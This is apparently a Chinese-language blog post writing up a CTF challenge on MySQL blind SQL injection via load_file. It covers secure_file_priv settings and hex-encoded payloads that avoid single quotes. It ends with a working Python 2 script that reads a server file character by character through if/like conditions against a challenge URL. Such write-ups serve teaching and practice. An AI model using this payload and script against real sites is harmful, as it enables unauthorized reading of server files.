load_file进行mysql盲注+mysql的一些tip

1、前言

今天看了一道安恒杯的ctf题,里面load_file盲注的思路看起来有点意思,该思路没有用单引号,使用到sql查询文件内容。

1.mysqld启动

1.在利用mysql进行sql注入的测试中,遇到一些mysql启动上的问题,可以在mysql的启动或控制台日志查看
输入命令

mysqld --console


2.其次是有时候不存在端口占用又无法启动mysqld的情况,需要进入services中将mysqla停掉,
做个记录,原因尚未探寻,如图,停掉箭头所指的mysqla

2、load_file开启

当前使用的是mysql5.7版本,需要进入my.ini中增加一行

默认开启所有目录尚未调试过,参考文章的链接如下
https://www.cnblogs.com/hackxf/p/8975501.html
针对其中提到一些重点进行记录,防止链接失效

secure_file_priv选项
secure_file_priv 
  1、限制mysqld 不允许导入 | 导出
        --secure_file_prive=null
  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
      --secure_file_priv=/tmp/
  3、不对mysqld 的导入 | 导出做限制
              --secure_file_priv= 
linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 
win
    my.ini
       [mysqld]
     secure_file_priv=
查看secure_file_priv
show global variables like '%secure%';

3、mysql的load_file盲注

1.思路

当我们遇到不能使用select的情况下,可以使用load_file读取文件查询文件内容,当然,这个使用的条件自然是很苛刻的,正常来说高版本的secure_file_priv不会开启。
1)读取文件demo

select load_file('c:\sql.txt');

2)利用hex编码就可以减少或者不使用单引号

select hex(load_file(0x633a5c73716c2e747874))

3)利用if+like进行文件内容探测
首先使用if表达式来进行回显判断,比如

if(exp,1,0)

exp指代前面的表达式
然后使用like进行字符判断,比如like 'a%'就可以判断以a字符开头的字符内容是否存在。

if(exp,1,0)like(0x*25)

*这里指任意值
那么我们只要使用like去判断是否存在某字符开头,存在则加上这一次的字符进行下一次判断,直到符合的字符串出现。这样循环后,就可以得到最终的文件内容。问题是
停止条件是什么?可以这样想,我们使用所有的可见字符去爆破一个字母,当可见字符用完后,依旧没有得到结果,说明不存在这样的字符串,此时可以将它当做条件结束。
demo:

字符串abcde
判断abcde中是否存在a开头的字符,存在则结束本次判断,不存在则利用下一个可见字符判断,直到用完为止
存在a开头字符串,那么接下来判断aa是否存在,判断条件同上。
结束条件为所有可见字符用完为止
2.实现exp

python2

#coding:utf-8
 import requests
 import string
 payload=string.printable
 payload=list(payload)
 file =""
 db = ""
 while True:
     n = 1
     end = len(payload)
     #print end
     for i in payload:
         req = requests.session()
         header = {
             "Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
         }
         exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
         url = "http://101.71.29.5:10015/user/user.php?id="+exp
         i = i.encode("hex")
         url = url.format(temp=db+i)
         res = req.get(url=url,headers=header)
         #print res.status_code
         if "user_id:1" in res.text:
             print url
             db = db + i
             file = file + i.decode("hex")
             print file
             break
         n = n + 1
         if n == end:
             print db
             exit(0)
来源https://www.shuzhiduo.com/A/KE5Qvje0dL/

参考:
https://www.shuzhiduo.com/A/KE5Qvje0dL/
https://www.cnblogs.com/hackxf/p/8975501.html

posted @ 2020-07-10 18:51  qianxinggz  阅读(718)  评论(0编辑  收藏  举报